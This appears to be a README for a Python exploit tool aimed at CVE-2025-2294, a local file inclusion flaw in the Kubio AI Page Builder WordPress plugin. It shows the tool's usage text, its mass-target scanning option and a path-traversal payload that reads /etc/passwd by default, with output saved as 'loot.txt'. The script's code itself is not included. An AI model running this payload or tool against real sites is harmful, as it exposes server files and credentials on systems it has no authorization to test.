CVE-2025-2294 - WordPress Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI) Exploit

Overview

CVE-2025-2294 affects the Kubio AI Page Builder plugin for WordPress (versions up to and including 2.5.1). It suffers from an unauthenticated Local File Inclusion (LFI) vulnerability via the thekubio_hybrid_theme_load_template function.

This vulnerability allows an attacker to include and execute arbitrary files on the vulnerable WordPress server, which can lead to:

Bypassing access controls
Reading sensitive server files
Remote code execution (if attacker can upload malicious PHP files disguised as safe file types)

Vulnerability Details

Vulnerability Type: Local File Inclusion (LFI)
Affected Plugin: Kubio AI Page Builder
Affected Versions: ≤ 2.5.1
Attack Vector: Unauthenticated HTTP request with crafted parameters
Exploitability: High
CVSS Score: 9.8 (Critical) [CNA: Wordfence]

Exploit Script Description

This Python script sends specially crafted HTTP GET requests to the vulnerable WordPress site to verify if it is vulnerable to the LFI issue.

Features:

Test a single URL or multiple targets from a file.
Customizable payload for arbitrary file inclusion (default: /etc/passwd).
Save full response to file.
Preview first N lines of the response for quick validation.
Support for HTTP proxy.
Check-only mode for vulnerability scanning without saving output.

Usage

usage: cve_2025_2294.py [-h] [--url URL] [--payload PAYLOAD] [--save SAVE]
                        [--lines LINES] [--timeout TIMEOUT] [--proxy PROXY]
                        [--check] [--list LIST]

CVE-2025-2294 LFI Exploit

optional arguments:
  -h, --help       show this help message and exit
  --url URL        Target URL (e.g., http://127.0.0.1:8080)
  --payload PAYLOAD
                   LFI payload path (default: ../../../../../../../../etc/passwd)
  --save SAVE      Save full response to file (optional)
  --lines LINES    Number of preview lines (default: 10)
  --timeout TIMEOUT
                   Request timeout in seconds (default: 10)
  --proxy PROXY    Proxy URL (e.g., http://127.0.0.1:8080)
  --check          Check vulnerability status only, no saving or preview
  --list LIST      Path to file with list of URLs to check one by one

Advanced example with custom payload, proxy, and longer preview:

python3 cve_2025_2294.py --url "http://192.168.1.10" --save loot.txt --lines 20 --payload /etc/passwd --timeout 10 --proxy "http://127.0.0.1:8080"

Request/Response:

⚠️ Disclaimer

This tool is intended for authorized security testing and research purposes only. Unauthorized use against systems without permission is illegal and unethical.

CVE-2025-2294

Most Popular